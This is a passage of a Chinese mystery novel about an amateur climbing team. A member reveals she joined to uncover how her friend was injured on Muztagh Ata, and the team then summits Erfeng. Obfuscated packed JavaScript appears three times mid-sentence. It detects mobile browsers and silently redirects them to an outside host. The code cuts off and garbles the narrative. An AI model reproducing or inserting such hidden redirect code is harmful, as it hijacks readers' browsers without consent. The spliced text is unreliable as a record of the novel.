“咳,”花城停顿了一下,故作神秘道:“其实,有个问题我想问夏姐很久了,今天终于让我逮到机会啦!” “什么问题?”夏晴天像看着一个小孩子一样,温和地看着她。 “嗯……我想知道,为什么夏姐会突然想来登山?” 听到这句问话,锦里吓了一跳,因为这正是她刚刚所想的那个问题。 是她的错觉吗?为什么她觉得夏晴天的神色也呆怔了一下。 只是一瞬间,夏晴天脸上的笑容又恢复了:“初次见面的时候我不是已经解释过了吗?因为我有个朋友很喜欢登山,我受她的影响,所以也想……” “我知道呀,”花城迫不及待地打断了夏晴天的话,“我就是这里想不明白,夏姐,我记得你说过,你的朋友已经开始攀登7000米的高峰了,为什么在她攀登那些初级山峰的时候,你没有动心,偏偏在她已经在登山的道路上走了这么远之后,你才对登山动心了?这其中总得有个契机吧?我就是想知道让你产生登山这个念头的原因。” 夏晴天怔住了,这次锦里敢肯定自己没有看错。 片刻之后,她才轻声说道:“因为……发生了一些事情。” 气氛似乎有些改变了。 具体有什么变化锦里也说不上来,只是在夏晴天低声说着“发生了一些事情”的时候,不止是锦里,其余人似乎也感受到这句话中隐藏着的不详之意。 “我本来不想把这件事说出来的……”夏晴天叹了一口气,“但是经过这段时间的相处,我发现大家都是真诚坦荡的人,你们为了登山加入到我跟游人成立的这个队伍,我实在不应该再隐瞒自己的私心。” “私心?”花城怔住了,她没想到自己随口而出的一个问题会引出夏晴天这样一番话。 惊蛰放下了手中的纸笔,连一向喜欢掌控局势的摩羯鱼也有些被惊住了:“夏姐,你这是什么意思?” 只有锦里在此之前就有些许的预料,猜到了夏晴天来登山的目的不纯,只是不知道,她们两个的动机是否一样……还有游人,他知道夏晴天的动机吗?他跟着组建登山小队,其中又是否别有隐情? 夏晴天的视线一一扫过众人,不知为何,她的眼中充满了悲伤:“其实,我之所以组建这个登山小队,是为了弄清我朋友在登山途中离奇重伤的原因。” 此言一出,众人一片哗然。 锦里听到了又一个被埋藏在雪山之下的血腥故事。 “我的朋友夏梦喜欢登山,这件事我从好几年前就知道了,她说只有在雪山才能真正拍到大自然的美景。过去我一直只是默默地看着她发布在朋友圈的雪山图片,偶尔随意问一两个问题,我们的关系很亲密,但登山却从来不在交谈的话题范围内。直到六个月前,她去登慕士塔格峰……” 听到这里,锦里心里咯噔一下,怎么又是慕峰? “我在朋友圈看到了她零星发布的消息,所以知道这件事。某天,她突然不再更新消息,又过了几天,她家里人就被通知说她受了重伤,昏迷不醒。负责带她的那个商业队的工作人员只是将她送到慕峰山脚附近的医院,后来她家人将她接到市里的医院,我去看过她好几次,她是左侧头部受了伤,听医生说,好像是被什么石块之类的东西砸中了。那个商业队的工作人员说这是意外,碰巧山上的石头掉下来砸中了她……可我怎么也不能相信。 “你们应该也不能相信吧?落石这种事应该很少见才对,就算有,工作人员难道不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不。以上几点都只能算作是从人的嘴巴里空口说出的白话,他们——工作人员和那些队友——还有照片为证。” 夏晴天说到这儿,顺势从手机里翻出了那张照片。 众人凑过去一看,只见照片的背景是在一只大帐篷里,时间显示为晚上八点半,一大群人——少说也有二三十个——围坐在大桌子的两旁,看着镜头笑得灿烂。 “那天晚上他们正好在开会,据说,夏梦因为身体不适,没有参加会议,谁也没有想到,几乎是同一时间,她会昏倒在几百米外的地方。这张照片是开会中途某个网名叫‘何医生’的队员一时兴起拍摄的。” 夏晴天又翻出另一张照片,说:“这是更早的时候,那时他们还没上大本营,所有人初次汇合后在酒店门口拍的大合照。两张照片上的人数是能够对上的,开会那晚照片上的人比大合照时的人少了两个:就是何医生跟夏梦。” “所以,何医生是那个拍开会照片的人,这说明他也参加了会议,而你朋友正好是在他们开会期间出的事……难怪你说‘没有人有机会行凶’。”摩羯鱼做出总结。 “那些队员怎么能确定夏梦一定是在他们开会期间受伤昏倒的?万一她在此之前就遇袭了,其他人利用开会所做出的不在场证明也就不成立了。是谁第一个发现你朋友受伤的?”惊蛰一针见血问道。 “因为夏梦是在会议刚开始的时候离开的——那时所有人都已到场——她突然感觉到不舒服,于是一个人先行退场了。至于第一个发现她受伤的人……”夏晴天想了想:“听说,是会议结束后,一群人往帐篷外走的时候,其中一个协作发现的。因为夏梦倒地的地方离帐篷只有几百米,协作戴着头灯,走没多远就看到了她。” 这样一听,确实没什么可疑之处。 于是问题又绕回到原点:假如夏梦的伤是人为,那么在所有人参加会议期间遇袭的她,究竟是被何人所伤? “会不会是其他队伍的其他人做的?”锦里提出了另一种可能性。 十五岁那年,锦里就已经攀登过慕峰,当时他们的队伍是采用自主攀登的方式,没有借助商业队的力量——当然,那时国内也基本没有什么商业队——所以那个时候只有他们一个队伍,无论是在大本营,还是在营地,都见不到其他人的身影。但锦里知道,现在商业队越来越多,登山的人也越来越多,大本营往往会出现好几支队伍混合扎堆的情况,所以她才会提出这种推测。 其他人没有登过山,也没有了解过这方面的情况,自然想不到这种可能。 没想到夏晴天却摇了摇头,说:“夏梦是六月去的慕峰,我也不懂,只是听他们说这个时间还很早,大本营只有他们一支队伍。” 所以,那天晚上,夏晴天的朋友受伤时身边不可能有其他人……为什么原本身体不适的她会出现在距离帐篷几百米的地方?她的伤又究竟是意外还是人为?如果是人为的,又是谁怎么做到的? “我无论如何也想搞清楚这件事,想到夏梦说的‘因为你不登山,所以你不懂’,我不甘心,所以就决定自己一定要亲自来体验一次,我想,去登一次山,说不定就能知道事情的真相了,这就是我产生登山这个念头的原因。” 5. 慕士塔格峰遇袭事件③ 5 听完这个故事,谁也没兴致继续玩游戏了。 夏晴天郑重其事地道了好几次歉,说不该因为自己的私心把大家卷进这件事情中来,给大家原本纯粹的登山之路染上了阴影。 没有人怪她,但每个人心里恐怕都有点不得劲。 这也难怪,原本以为是一次高高兴兴的登山初体验,结果活动还没正式开始,就得知背后隐藏了这么一个沉重的故事,谁还能当做什么事都没发生过一样、继续毫无芥蒂地期待明天的行程? 就连锦里,都被勾起了深埋在心中的记忆,久久不能入眠。 第二天一早,在稍显沉闷的气氛中吃完早餐后,队伍就开始跟着九极的协作们出发了。 今天他们要从山镇走到海拔4200米的大本营,早上九点出发,预计下午三点左右到达。一听说要走这么长时间的路,虽然平时大家都有坚持锻炼,但还是忍不住面露难色。 在各位协作的招呼下,大家聚在一起拍了个合影,然后就出发了。 一共有三个协作跟他们一起上山,花城注意到了这一点,因为是刚走没多远,身体状况还不错,她还走到其中一个协作身边去闲聊:“你们有三个人,是一个协作照顾两个客人吗?” 被她问到的那个协作只是用手摸摸头发,有些羞涩地笑了笑,什么也没说。也不知是没听懂,还是不善于与人沟通。 摩羯鱼看到后玩笑道:“你看你,把人家小伙子都吓到了。” “哪有!”花城转过身去打他,两人边吵边走,气氛渐渐活跃了起来。 惊蛰在用手机不断拍照,夏晴天跟游人干脆带了相机来,拍风景,拍人物,拍个不停。 有一个协作也端着相机,他走在最后,将镜头对着客户,还指导他们摆造型。 也许是心中有愧,夏晴天跟每个队员都拍了照,说登完山之后就把照片发群里。 这样的热闹只出现在一开始。 后来随着时间的流逝,大家的体力也被消耗得越来越多,不再有人开口说话,包括一向爱闹的花城跟摩羯鱼。 锦里倒是没什么太累的感觉,她毕竟曾经登过很多山,对于徒步有自己的节奏。但她向来沉静,现在又心事重重,根本无心跟其他队员交谈,只是闷头跟着带队的协作走在最前面。 没想到,这样反而让其他人更加佩服她了。 中午,他们在协作的指挥下,停在路边休息了片刻,喝点水,吃点干粮,然后就继续上路。 地势逐渐上升,途中开始出现零星积雪,这再一次成为激发众人前进的动力,花城还兴奋地催促锦里去问协作:“你问问他们,是不是快到大本营了?” 锦里问过之后回答道:“可能还要走两三个小时。” “啊?还要这么久啊?” “本来就是预计下午三点左右到,现在才十二点多,可不就是还要两三个小时么。”锦里解释道。 “好吧。” 气氛又再度沉闷起来。 越往上走,积雪就越多,不知不觉间,整个世界已变成一片纯白色,道路上,树梢上,到处都是厚厚的积雪。因为一直在走路,目前还没有感觉到冷,但一月的四姑娘山,作为雪山的一面已开始在众人眼前徐徐展开。 又过了不久,远远地有几只黄色帐篷出现在视野之中,那就是大本营了。 所有人都很高兴,但因为实在是太累,想加快脚步都做不到,还是只得一步一挪地走着。 三位协作倒是动作迅速,很轻松就走到了前面,然后站在帐篷边等待他们的到来,拍了一路的那个协作——桑吉——更是已经摆好架势,将每个人抵达大本营的瞬间记录了下来。 他一边拍,一边笑着说话,其他人听不太懂,全都转头看着锦里。 锦里于是翻译道:“他说,这次拍的照片都很好,对公司宣传很有帮助。” “哦,那他拍的照片都会被九极发布出去用做宣传咯?”花城觉得很新奇。 锦里转述了这个问题,协作们都很淳朴,桑吉连连点头,说:“对,对。”另两位协作——格勒和次仁——还补充道:“客户参加活动,我们要把照片发布出去,要是有人不愿意露面,提前跟我们说,我们会注意规避。” 没想到登山小队的各位听了都很感兴趣,摩羯鱼还提议大家一起拍些有意思的合照,得到了众人积极的响应。 不过要先把背包放下,格勒已经知道只有锦里听得懂他们的话,干脆直接对锦里说:“三人一组睡一个帐篷,你们正好三男三女,睡这两个帐篷就可以了。” 锦里于是带着登山小队的其余人去帐篷放背包,安顿好后,大家聚在一起让桑吉帮忙拍了许多照片,不知不觉,天慢慢黑下来了。 格勒和次仁正好将晚餐准备好,大家在大帐篷里一起吃过饭后,格勒开始给大家开会,交代明天的行程安排。锦里全程充当翻译。 6 “明天凌晨三点出发冲顶,我们会提前准备好早餐,然后两点叫大家起床。冲顶需要上升一千米左右的海拔,体能消耗大,所以今晚一定要早点休息,明早我会给每人发一个能量胶,冲顶途中吃,还有,现在是晚上八点半,一会儿我挨个检测完血氧指数后,大家差不多就可以睡觉了。” 难得听格勒一口气说这么多话,大家都听得很认真。 血氧指数之前在山镇的时候就已经测过一次了,大家都知道这是为了检测自身的身体状况,所以对此都没有什么异议。 “现在这里的海拔有多高?”惊蛰突然问道,之前因为终于抵达大本营,他们只顾着放松和拍照,谁也没有想起这个问题。 “4200米左右。” 格勒的回答让众人兴奋了起来。 “哇!” “我们今天也上升了一千米左右的海拔!” “但我觉得我的身体还好,没出现什么不舒服的地方。” 说话间,格勒拿来了血氧仪,挨个测试之后,发现确实所有人的状态都还好,可以参加明天的冲顶。 大家于是在格勒的招呼下陆续钻进小帐篷,无论此刻是否有睡意,为了明天的行程,他们都闭上了眼睛。 这一晚,锦里睡得并不安稳。自从十五岁那年的慕峰之行后,这是她时隔多年再次参加登山活动,再次睡在帐篷里,只要一闭眼,她就会想起那个混乱迷茫的夜晚。 木格不见了…… 木格不见了,至今都没人知道他究竟倒在了慕士塔格峰的哪个角落。 她仿佛又听到了那晚从帐篷外传来的凛冽风雪声,呼啸个不停,那雪真大啊,刮在人身上冰冷得像刀子。 睡在她左右的花城跟夏晴天也时不时发出一点动静,锦里知道,她们也没有睡着,毕竟是第一次登山,4200米的海拔对身体多少还是有一点影响。但这些都是正常反应,所以锦里并没有理会。 转眼就到了凌晨两点多,格勒跟次仁来叫他们起床了。 大家笨拙地穿好全套装备,戴上头灯——帐篷外面一片漆黑,只有靠头灯照明,才能看得清周围的路。 今天会是个好天气。不知为何,锦里突然有一种预感。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201043|165708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 草草吃过早饭后,众人就在格勒的带领下出发了。三个协作仍保持着昨天徒步时的队形:格勒打头阵,次仁走在中间,桑吉拿着相机跟在最后面。 起初,路比较平缓,黑夜有一种神奇的力量,让人不知不觉就放轻了自己的一举一动,没有人开口说话,只听得见行进时衣物摩擦发出的细微窸窣声。他们也看不见周围的景色,很长一段时间,眼前只有头灯投射出地面的亮冰与白雪。 随着时间的流逝,队员们之间的体能状况出现了差异,锦里、摩羯鱼和夏晴天走在第一梯队,剩下三人不知道什么时候被远远甩在了身后,连人影都看不着了。 跟锦里三人走在一起的自然是一直打头阵的格勒,但不知何时桑吉也跟了上来,在他们身边沉默地拍着照。 夏晴天觉得奇怪,正好格勒招呼大家在原地休息一下,她连忙揪住锦里追问:“不是一个协作负责两个队员吗?怎么我们三个人要两个协作来跟着?” 锦里也觉得奇怪,问了之后才知道,原来他们一直想错了。 “格勒说,这次带队的本来就只有两个协作,就是他跟次仁,他们是每人负责照顾三个队员,桑吉只负责拍照,不负责带队。” 话音刚落,她就意识到了不对劲。 转头一看,夏晴天也已经呆住了。 他们一直想错了,夏晴天跟其他人没有登过山,锦里没有跟过商业队,他们都不知道商业队的带队习惯,所以直到此刻才恍然大悟。 夏晴天的朋友夏梦受伤一事,并不只是单纯的意外,至少当时她并不是孤身一人,还有一个他们都忽略了的人存在着…… 就是摄影师。 夏梦参加的那支登山队,所有人初次汇合后,在酒店门口拍了一张大合照,当时替他们拍照的,就是随行的摄影师。 根据商业队的运作方式,拍完照后,摄影师也会跟着队员还有协作一起去大本营。但是夏梦出事那晚,其余人在一起开会,也拍了一张合照,加上拍照的队员何医生以及缺席的夏梦,前后两张照片的人数刚好能够对得上,这恰恰说明那张会议照里还缺少了一个人——就是摄影师。 其他队员应该不是故意要隐瞒摄影师的存在,只是他们那支队伍的人数少说也有二十多个,人一多,他们也只能各自确认自己的协作都在场,然后就以为没有人缺席吧。 他们忽略了,或者也可以说根本没有意识到,队伍里还有一个摄影师。 至于那些协作,他们肯定是知道那晚摄影师不在场的——那可是他们的同事——为什么却没有协作说出这件事?反过来想,他们隐瞒这件事,正说明夏梦的事不是意外,而且跟摄影师有关。 这么一来,摄影师当时一定是跟夏梦在一起。 至于夏梦,为什么身体不适的她,会出现在距离帐篷几百米远的地方?是摄影师带去的吗?如果是的话,为什么要将人带到一个距离帐篷不远不近的地方?如果想伤害她,这点距离也太容易暴露了……事实上,昏倒的夏梦确实很快就被人发现了,不是吗? 锦里一下子就想到了,夏梦一定是自己走到那个地方去的,在高海拔的地方身体出现不适,一定不能睡得太早,而要尽量适应环境。所以夏梦没有参加会议,反而在附近闲逛,她是在试图适应大本营的海拔。 然而走出几百米的距离后,她就被石块击中头部,受伤昏倒,当时只有摄影师在场,也只有夏梦跟摄影师两个人知道究竟发生了什么。 究竟夏梦的受伤是意外,还是人为,与摄影师有无关系……这些谜团,还没有完全解开。 6. 慕士塔格峰遇袭事件④ 7 “接下来大家把冰爪都穿上,前面的路比较陡。” 回过神来的时候,锦里发现格勒正在分发早已准备好的冰爪,只等他们穿戴好,就继续出发。此时,落在后面的花城、惊蛰和游人还没有赶上来。 夏晴天仍旧呆站在原地,摩羯鱼碰了她一下:“夏姐,你怎么了?不会穿?”说着就要热心地蹲下去指导她。 锦里连忙趁此机会小声询问夏晴天的状况:“你还好吗?能继续就走下去吗?” 过了几秒钟,夏晴天才回过神来,此时她眼中已满是泪水。 “你已经想明白了,是吧?我也是,但事情还没完全弄清楚,我当然要继续前行,我想知道,为什么夏梦受了那么重的伤,还要隐瞒那个人的存在。” 她抬手擦干眼泪,眼中透露的神色愈发坚定。 见她已恢复精神,锦里终于放下心来,如果她在登山时心神不宁,是很危险的一件事。 穿好冰爪,三个队员加两个协作继续前进。摩羯鱼这时来了说话的兴致,边走边问:“我们还有多久到顶?” “看到前面那个坡没?”顺着格勒手指的方向,众人往前看去,在头灯的照射下,只能看见前方一片朦胧的暗影。 格勒解释道:“过了这个坡,上去一段路就是垭口,等到了垭口,离顶峰就不远了。” 摩羯鱼一听来了精神:“这么说就快到了。”说完又开始担忧起来,“我们不会登顶的时候还没天亮吧?” 他是担心好不容易到了顶峰,却什么美景也看不到,黑不溜秋的拍照也不好看。 格勒闻言只是笑了笑,没有回答。 过了一会儿,摩羯鱼才知道格勒为什么笑:这段坡看起来不陡,其实很难走。路面是碎石混合着冰雪,即使穿着冰爪脚下也时常打滑,必须打起十二分的精神,一步一步往上挪。 走到一半大家就累得不行了,开始走一段停一段,时不时还能遇上几个往下走的队员,都是其他队伍的,因为体力不支只能半路下撤。 锦里一直走在夏晴天旁边,她不放心,此时又见夏晴天一张脸变得无比苍白,忍不住问道:“你还好吗?要不坚持不住就返回吧?” 夏晴天咬咬牙,从背包里取出能量胶吃了,说:“不,我一定要登顶。” 锦里无奈,只得继续跟在她身旁。 好不容易到达垭口,此时天空已泛起一丝曙光。 今天真的是个大晴天。 他们离顶峰已经非常近了,不到一百米的距离,因为这段路有些狭窄,两旁修了护栏。这次桑吉走在最前头,然后是摩羯鱼、夏晴天、锦里,格勒在最后,五个人喘着气排成一行往上走。 初升的朝阳渐渐从云层中探出头来,将天边染红。 晴空万里,华光普照。 队员中摩羯鱼第一个登顶,桑吉早已端着相机,见他上来就将镜头对准他,拍摄冲顶的视频,然后是夏晴天跟锦里,两人紧随其后入了镜。 站在顶峰,看着周围连绵起伏的群山,云雾环绕在他们脚下,此情此景,让人情不自禁就想放声大喊,倾泻出深埋在心中的话语。 格勒在不断说着“恭喜”“扎西德勒”,还挨个询问他们“感觉怎么样”,摩羯鱼显然有一肚子话要说,此时正对着摄像头滔滔不绝。 锦里转头看向夏晴天,恰巧这时夏晴天也转过头来,两人相视一笑。 “怎么样,登顶的感觉?” 夏晴天唇边的笑容更明显了:“真不知道该怎么说……很激动,很开心,我没想到自己会这么开心,明明并不是为了登顶而来的,但是当历经艰险好不容易站上顶峰的时候,那种心情就象是……感觉一路上吃的苦都值了,什么都值了。”她停顿片刻,放低了声音,就象是在自言自语一样,“我想,我有点明白夏梦的所作所为了。” “你知道她为什么说谎了吗?” 夏晴天点点头。 “我想起一个一直被我忽略了的消息,六月的时候慕峰曾出现过成片流星雨划过的奇观。” 好像是有这回事?锦里想起她自己曾经也看到过类似的消息,是什么时候呢?只要是跟慕峰相关的事她都很敏感,会忍不住被吸引,又刻意忍耐着不去了解详情。 所以她对这件事有所耳闻,印象却并不深刻,只隐约记得那好像被称作“雨后奇观”。但如果不是现在听到夏晴天提起,她自己是怎么也不会想到的。 “夏梦一向很喜欢拍照,尤其是拍雪山照,她曾经说过,她去登山很大一部分原因就是只有在雪山才能拍到真正纯粹的、没有被修饰改造过的大自然美景。” “嗯,我记得你说过。”锦里低声道。 “所以我想,六月的时候,她在慕峰,说不定正好遇上了那场流星雨。她本来因为身体不适提前从会议中退席,但又不能太早睡觉,于是想着去外面走走,却正好看到了那么美的自然奇观,所以,她接下来要做的事只有一个……” “啊!”锦里小小地惊叫了一声,她明白夏晴天的意思了。“你是说,她是在拍照的时候受伤的?夏梦偶遇这么美的奇观,顿时起了拍照的念头,然后……她的打算肯定被人知道了,那个摄影师也没有参加会议,他肯定看到了!也许他曾经劝告过夏梦不要这么做,毕竟当时是晚上,有许多未知的危险……但在夏梦的坚持下,他妥协了;或者是他也想拍下那场奇观,因为他在团队中就是专门负责摄影的,所以他没有阻止夏梦。 “但是没想到,意外确实在那个时候发生了:慕峰刚下过雨,土质松软,山体不稳,不时有落石坠下,但因为是晚上,他们谁也没有注意到,直到夏梦被掉落的石头砸到……当时她一定是正在调整拍摄角度,她歪着头,所以石头才会击中她的侧头部。 “意外发生后,摄影师慌了,他怕自己会被要求对这件事负责——虽然他确实有一部分责任——但他害怕了,于是带着相机从现场逃走,再把这件事偷偷告诉了其他协作。对,那些协作肯定在会议进行时就知道了这件事,所以才能在一出帐篷就发现昏倒在地的夏梦。最终呈现出来的局面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201044|165708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是:协作们,还有夏梦本人,都不约而同地替摄影师隐瞒了事情的真相。” 8 “当时夏梦对我说,‘因为你不登山,所以你不懂’,就是为了这句话,我第一次用尽全力咬牙前进,第一次站上5276米的高度,我坚持了这么久,只是想弄明白事情的真相,弄明白夏梦说出这句话的理由。” “那你现在弄明白了吗?” 夏晴天点点头。 “她是为了自己心中一直坚守的信念与理想受伤的,所以她甘之如饴,与别人无关。” 在夏梦心里,摄影师是无辜的,所以她隐瞒了事情的真相。 信念啊……锦里在心里叹了口气。每个登山的人都有自己的信念,是那股信念支撑着他们踏足雪山,也是那股信念让他们在精疲力尽时还在坚持向前。 夏晴天感慨夏梦为了信念连受伤都不顾,她自己又何尝不是为了一个真相,咬着牙一步一步走到了顶峰……包括锦里自己,同样是为了心中的信念,时隔多年后重新出发,再走一次雪山路。 怔忡之间,下方不远处突然传来一阵喘息和欢呼声。 “哎呀,终于到顶了!” “他们几个好像还在那站着,不知道等了多久……” “人生第一座雪山,成功登顶!” 锦里听出来了,是花城、游人还有惊蛰,他们在次仁的带领下,终于走到了这里。夏晴天跟摩羯鱼也听到了动静,站在一旁等着。 片刻之后,三人的身影一点一点出现在眼前,摩羯鱼立即鼓掌欢呼,锦里跟夏晴天也面带微笑,祝贺他们成功登上顶峰。 至此,8848登山小队的成员初次出征,就取得了全员成功登顶的好成绩! “来来来,大家一起在山顶合个影。”桑吉招呼道。 众人在二峰顶上拍了合照,又挨个发表登顶感言。 “走南闯北这么多年,四处都走遍了,但这还是第一次往高处走,一个字:爽!两个字:过瘾!三个字:上瘾了!”此话来自兴奋得像喝高了一样的摩羯鱼。 “我会永远记住这天,因为从这天起,我真正爱上了登山!”一向冷静自持的惊蛰此刻也难耐自己的满腔激动,对着镜头喊出了自己的宣言。 “幸好当初下定决心组建了这支登山队,今天才能看到这样的美景。”游人的一张娃娃脸上满是笑意。 “爸爸妈妈,我爱你们!谢谢你们支持我登山!”花城高兴得又哭又笑。 “山……太美了,顶峰的风景更美……我觉得这一次,我真的不虚此行。”无论历经多少次,锦里都能回想起登山带给她的那种感动。 最后是夏晴天,面对镜头,她热泪盈眶:“我还想,去攀登更多的山峰。” 听到这句话,锦里心中的大石终于落地。她知道,直到此刻,这支登山队才算是真正成立了,真正为了攀登而存在。 在此期间,她了解到很多儿时不曾注意的雪山秘辛,将来一定还会了解到更多。 她的选择没有错。 7. 雀儿山杀人事件① 1 从慕士塔格峰回来以后,很长一段时间锦里一直闷闷不乐的,老徐发现了自己女儿的不对劲,不止一次问她:“怎么?还在想着木格的事?” 怎么可能不想?木格可是活生生的一个人,是队伍中除了父亲跟她走得最近的大哥哥…… 锦里倒想反问他还有其他人,为什么可以做到如此平静?就像什么事都没发生过一样。 她做不到,最近只要一闭上眼睛,她仿佛就能看到木格在茫茫风雪中渐渐迷失的身影,听到那些呼唤他的声音,回想起那种得不到回应又遍寻不到踪迹的恐惧。 反观父亲老徐,还是跟平常一样,照常上班,照常做饭,照常说话,时不时还会开口安慰锦里几句:“虽然你是第一次遇到,但其实登山出现意外是很常见的事,以后……以后你还会见到更多。谁都不希望意外发生,但既然它已经发生了,我们唯一能做的,就是接受它,接受事实。” “可是,木格的失踪并不只是单纯的意外吧?”锦里忍不住提出质疑,她真的觉得奇怪,这件事疑点重重,为什么其他人却从不深究。 就像现在。 听到锦里的话,老徐只是笑了笑,然后用一句话敷衍带过:“是你想得太多了。” 越是这样,锦里越觉得奇怪。 不久后,锦里发现了一件事,这件事表明老徐并不像他所表现出来的那么平静,他也仍旧在意着木格的消失。 老徐不再继续登山了。 在此之前,自从锦里记事以来,老徐从来没有中断过自己的登山规划,他总是要么在登山的路上,要么在为登山做着准备。 登完慕峰回来后,如果是平常的老徐,应该立即开始找寻下一座目标山峰,做攀登攻略、锻炼体能、检查装备、规划行程,将一切有条不紊地进行下去。 但是他没有。 即使他说话做事都和平常一样,但不再继续登山活动,就是他最大的破绽。 锦里由此肯定,木格的消失,一定不是单纯的意外,并且,父亲老徐一定知道其中的内情。 2 “怎么样?登山中发生受伤或失踪的意外,很常见吧?” 这次从梦中醒来,锦里镇定了许多。最近她总是频繁梦到过去的事,已经习惯了。只是没想到,这次她不仅梦到了十年前的往事,还梦到了几天前刚登完二峰的时候,老徐对她说过的话。 听闻了锦里此次的攀登历程,他说,像夏梦遭遇到的那种意外,在登山界是很常见的,意外受伤、突发高山病、失踪,甚至死亡,雪山上发生什么样的事都不足为奇。 “所以,不必拘泥于过去。” 他想劝她放弃登山,放弃寻找木格失踪的原因。 但锦里仍旧坚持自己最初的想法:“没错,雪山上意外事故是很多,我只是想知道为什么。” 从梦中彻底清醒过来后,锦里拿过手机一看,突然觉得眼前的一切似曾相识——8848登山队的群里又是一派聊得热火朝天的景象。 虽然现在大家已经各自回到自己家中,距离变远了,但彼此的感情经过这次登山却变得更加深厚。 花城:[图片] 花城:[图片] 花城:[图片] 花城:@所有人我也拍了很多美图,大家快来收照片啦! 这是在群里疯狂发雪山照片的。 摩羯鱼:[图片] 摩羯鱼:健身走起,今天准备跑8公里,加油! 这是还处于亢奋状态踌躇满志为下一座雪山储备体能的。 惊蛰:下次去哪座山?还是跟九极的队吗?我们早做计划吧。 夏晴天:我觉得九极的人带队很不错,冲顶那天我半途走得很累,他们没有强行催我走,反而处处都很照顾我。 游人:附议,我也觉得九极不错。 惊蛰:好,那就下次还跟九极,大家没意见吧? 这是开始为下一次登山活动做规划的。 锦里简直看得眼花缭乱,这下她感受到大家的热情了,看来前几天成功登顶二峰5276米,让大家都体会到了登雪山的乐趣。 她正准备也跟着说几句话,融入一下这个氛围,惊蛰又一次在群里提问了。 惊蛰:下一座山去哪儿? 夏晴天:下一座山该是6000米级别的了吧? 惊蛰:按理说应该是6000米级。 游人:6000米级+1 花城:哦耶!去登6000米高的山峰,期待期待! 摩羯鱼:@锦里我听专业人士的! 对此,锦里心中早有准备,所以她很快给出了自己的答案。 锦里:我推荐雀儿山,海拔6168米。 锦里:理由有两个:一是雀儿山号称“最美6000米级雪山”,各种雪山该有的地势风貌它都有,看起来很过瘾,也能很好地磨练大家的攀登技巧;二是我刚刚看了下九极的官网,6000级别的山峰里他们带队比较多的也是雀儿山,既然我们还是决定跟着九极走,那就选他们熟悉的山峰比较好。 锦里说完,本以为大家会有所疑问,她手机里存有雀儿山的图片,正打算发给大家看,没想到根本不用再多费口舌,她的提议就获得了一致的认可。 摩羯鱼:既然专业人士都说好,那肯定是真的很好! 花城:雀儿山,这名字真好听啊,我喜欢! 惊蛰:既能看美景,又能练技术,我也觉得很合适。 游人:我都可以,大家决定吧。 夏晴天:话说回来,上次登二峰,锦里妹子的体能真的很好,全程没掉队,也没喊累,走得轻轻松松的,还有余力照顾我,太厉害了! 摩羯鱼:这点我也赞同,不愧是登过山的,就是不一样。 花城:什么什么?锦里这么厉害吗?好可惜,我走在后面,都没看到…… 看到这些吹捧的话,锦里的脸上不觉露出了笑容,不是因为她因此感觉飘飘然了,只是她突然觉得,自己当初一时随意选择了这支队伍,事实证明她没选错。 3 雀儿山,锦里曾经跟着父亲登过一次。 跟二峰那样的入门级山峰相比,雀儿山是一座真正的雪山,拥有碎石坡、冰裂缝、大冰壁这样的复杂路段,攀登需要的周期更长,对技术的要求也更高。 8848登山队的成员都没有使用过技术装备,锦里心里很清楚这一点,但她相信,九极作为一家专业登山公司,到时候一定会为大家提供专业的培训。 最关键的一点,还是大家的体能状况。 充足的体能,才是将雪山攀登顺利进行下去的最大保障。 好在雀儿山的攀登档期在六七月份,队员们还有五个月左右的时间做好准备。 经过之前的二峰攀登活动,大家都意识到了自己的体能状况还不够充足,摩羯鱼更是在下山回家后没多久就自发加大了训练量,他每天训练完后就在群里打卡,不知不觉间,其他人受了他的影响,也开始勤加训练。 锦里感觉很欣慰,她心里很清楚,登山小队的成员在上次攀登二峰途中,从头至尾没有人出现过高反症状,说明他们的身体能够适应高海拔的环境,只要再把体能练好,锦里相信,再一次做到全员成功登顶绝不是梦! 怀揣着这份共同登顶雀儿山的梦想,分散在五湖四海的人们一起努力奋进着,从春天到夏天,这份热情没有丝毫消减,反而随着天气的变化,变得愈加高涨起来。 不知不觉,时间就来到了六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201045|165708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月。 时隔五个月,8848登山队的成员再一次聚集了。 “小姑娘,短头发果然不适合你哈哈!比照片上看起来还不适合。” “你还不是,晒黑了那么多……” “惊蛰,你调休成功了?” “嗯,攒了半年的假期。” 久未见面,众人言谈之间却没有丝毫的生疏感,每个人都对其他人的近况十分了解,要问为什么?当然是因为他们一直在群里活跃着,分享自己当天吃了什么、做了什么、准备做什么……简直事无巨细。 